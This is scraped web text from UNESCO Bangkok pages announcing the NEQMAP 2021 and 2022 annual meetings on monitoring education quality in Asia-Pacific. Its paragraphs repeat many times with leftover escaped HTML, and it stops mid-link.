mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a 